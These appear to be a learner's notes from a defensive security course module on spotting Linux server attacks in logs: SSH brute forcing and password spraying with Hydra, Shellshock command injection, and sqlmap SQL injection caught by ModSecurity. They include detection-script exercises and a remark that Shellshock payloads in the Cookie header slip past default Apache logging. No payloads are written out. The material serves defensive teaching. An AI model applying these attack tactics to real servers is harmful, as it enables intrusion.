Edit

Module 9: Linux Server Side Attacks

Credential Abuse

Suspicious Logins

Generating an SSH key-pair

kali@attacker01:~$ ssh-keygen -t Ed25519
Generating public/private Ed25519 key pair.
Enter file in which to save the key (/home/kali/.ssh/id_ed25519):
/home/kali/.ssh/id_ed25519 already exists.
Overwrite (y/n)? y
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kali/.ssh/id_ed25519
Your public-key has been saved in /home/kali/.ssh/id_ed25519.pub
The key fingerprint is:
SHA256:KoewUv5gG6ti0d2zouJ8a9s3C3VjKDIy0tiYqYqd4+A kali@kali
The key's randomart image is:
+--[ED25519 256]--+
|                 |
|                 |
|                 |
| B      .        |
|*o*o...oS+       |
|o+o+ooo+o .      |
|+ B o.o o        |
|*B.X.+.+         |
|BEX==.o.o        |
+----[SHA256]-----+

Copying the SSH public-key to the server

Testing public-key SSH authentication

Verifying SSH server public-key configuration

Removing SSH server public-key configuration

Restart the service after making changes.

Enabling public-key only SSH authentication

Inspecting successful public-key authentication

Increasing SSH server debug verbosity

Re-inspecting public-key authentication

Extra Mile I

An 'invalid user' message is returned when a non-existing user tries to authenticate through SSH. Expand the ssh_suspicious_logons.py script to allow extracting this specific failed password event by expanding the 'SCOPE' portion of the script.

Password Brute Forcing

Password brute forcing is attempting several passwords against a target. This could be multiple targets.

Password spraying is attempting the same password across several targets. This could be multiple passwords.

Clearing the authentication logs

Performing a traditional brute-force password attack with Hydra

Inspecting authentication logs after a brute-force attack

In this case there is no account lockout threshold; however, it could be configured.

A warning log about a threshold being reached

Launching a successful brute-force attack

Inspecting a successful brute-force attack

Password spraying is often more effective than expected as password reuse among multiple accounts is not that uncommon.

Launching a successful password-spraying attack

Inspecting password-spraying log

Filtering password-spraying logs through script

Extra Mile II

Expand the ssh_suspicious_logons.py script to give a warning if password failure attempts are equal to or greater than three within 60 seconds. Hint: Use timestamps as a reference.

Web Application Attacks

Command Injection

Launching the Shellshock attack

Inspecting the logs after a successful Shellshock attack

Investigating system processes to spot anomalies

Adding Shellshock regex to our log parser

Verifying if the Shellshock attack succeeded or not

Vulnerability scanners and penetration testers might trigger exploit-specific alerts similar to the one we just analyzed. However, in a real world investigation, the next step should be to verify that the affected component is actually vulnerable to the exploit trails left in the logs. In our sample case, we should further verify whether or not the Bash version is vulnerable to Shellshock.

Detecting the Shellshock attempts with our script

Previously shown snippets had the payload in the Referer header, though it could also be in the Cookie header if the web server processes it and triggers the vulnerability. This is important because default Apache logging behavior doesn't save any information about the Cookie HTTP header.

Example logs with Shellshock payload in Cookie

Adding Cookie HTTP header logging to the Apache config file

Reviewing logs with Cookie included

Extra Mile II

Write a unified version of shellshock_log_detector.py and shellshock_log_detector_cookies.py in a single Python script so that it can be reused for both the original shellshock attack, as well as the cookie-based stealthy modification.

SQL Injection

Normal online clothing shop color selection

The above query may look like this on the SQL database end

UNION based SQL injection

The above query may now look like this on the SQL database end

Inspecting Apache access log after sqlmap ran against the server

Nothing useful here really, other than seeing the sqlmap user-agent. In the lab provided, ModSecurity is preconfigured. ModSecurity offers detection and prevention capabilities against several web application attack vectors and provides increased logging to help with investigations.

Filtering out POST requests from teh ModSec log file

  • -A-- (audit log header)

  • -F-- (response header)

ModSecurity explicitly warning about the SQL injection attack

Extra Mile IV

Similar to what we did earlier in the Topic, write a Python script that will parse the ModSec generated log file and find all of the SQL injection warnings related to the vulnerable pollid argument.

PreviousModule 8: Linux Endpoint IntroductionNextModule 10: Linux Privilege Escalation

Last updated